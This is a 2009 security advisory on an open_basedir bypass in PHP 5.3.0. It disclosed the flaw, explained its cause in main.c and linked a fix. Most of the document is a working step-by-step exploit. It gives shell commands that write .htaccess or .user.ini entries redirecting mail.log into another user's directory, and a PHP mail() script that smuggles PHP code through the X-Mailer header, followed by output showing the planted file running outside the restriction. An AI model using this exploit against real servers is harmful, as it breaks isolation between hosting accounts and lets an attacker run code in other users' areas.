[ PHP 5.3.0 (main.c) open_basedir bypass ]

Author: Maksymilian Arciemowicz
Date:
- - Dis.: 26.05.2009
- - Pub.: 06.08.2009

Risk: Medium

Affected Software:
PHP 5.3.0

- --- 0.Description ---
PHP is an HTML-embedded scripting language. Much of its syntax is borrowed from C, Java and Perl with a couple of unique PHP-specific features thrown in. The goal of the language is to allow web developers to write dynamically generated pages quickly.

http://lu2.php.net/manual/en/mail.configuration.php

mail.log  	NULL  	PHP_INI_SYSTEM|PHP_INI_PERDIR  	Available since PHP 5.3.0.


- --- 1. PHP 5.3.0 (main.c) open_basedir bypass ---
The first issue exists in main/main.c

- ---
	STD_PHP_INI_ENTRY("mail.log",					NULL,		PHP_INI_SYSTEM|PHP_INI_PERDIR,		OnUpdateString,			mail_log,			php_core_globals,	core_globals)
- ---

Access PHP_INI_PERDIR is accepted by .htaccess (Apache) or .user.ini (CGI).
Function OnUpdateString dosen't check open_basedir. To reason, we need create new function OpUpdateMailLog, where open_basedir will be checked.

Exploit:
127# cat /www/home/cx/show.php
<?php
echo ini_get('open_basedir')."\n";
?>
127# curl http://localhost/home/cx/show.php
/www/home/cx
127# cat /www/home/cx/set.php
<?php
echo ini_set('mail.log', '/www/home/gpkc/tmp/')."\n";
?>
127# curl http://localhost/home/cx/set.php

Warning: ini_set(): open_basedir restriction in effect. File(/www/home/gpkc/tmp/) is not within the allowed path(s): (/www/home/cx) in /www/home/cx/set.php on line 2

We need create .htaccess or .user.ini
for Apache SAPI:
127# echo 'php_value mail.log /www/home/gkpc/tmp/exploit.php' > ./.htaccess

for CGI:
127# echo 'mail.log = /www/home/gkpc/tmp/exploit.php' > ./.user.ini

and some file with mail() function inside. In header X-Mailer, we can put some php code to execute in other open_basedir range, like:
<?php echo ini_get('open_basedir');?>

127# cat /www/home/cx/runmail.php
<?php
$to      = 'stop@spam.c0m';
$subject = 'open_basedir bypass by http://cxsecurity.com';
$message = 'exploit';
$headers = 'From: stop@spam.c0m' . "\r\n" .
    'Reply-To: stop@spam.c0m' . "\r\n" .
    'X-Mailer: PHP<?php echo ini_get(\'open_basedir\');?>/' . phpversion();

mail($to, $subject, $message, $headers);
?>

127# curl http://localhost/home/cx/runmail.php
127# ls -la /www/home/gkpc/tmp/exploit.php
- -rw-r--r--  1 www  www  173 Jun 30 05:20 /www/home/gkpc/tmp/exploit.php

Finish!
Now we can exec evil script exploit.php via httpd.

127# curl http://localhost/home/gkpc/tmp/exploit.php
mail() on [/www/home/cx/runmail.php:9]: To: stop@spam.c0m -- Headers: From: stop@spam.c0m  Reply-To: stop@spam.c0m  X-Mailer: PHP/www/home/gkpc/5.3.0

exploit.php is now in open_basedir=/www/home/gkpc/ range.

- --- 2. Fix ---
http://svn.php.net/viewvc/php/php-src/branches/PHP_5_3/main/main.c

- --- 3. Contact ---
Author: Maksymilian Arciemowicz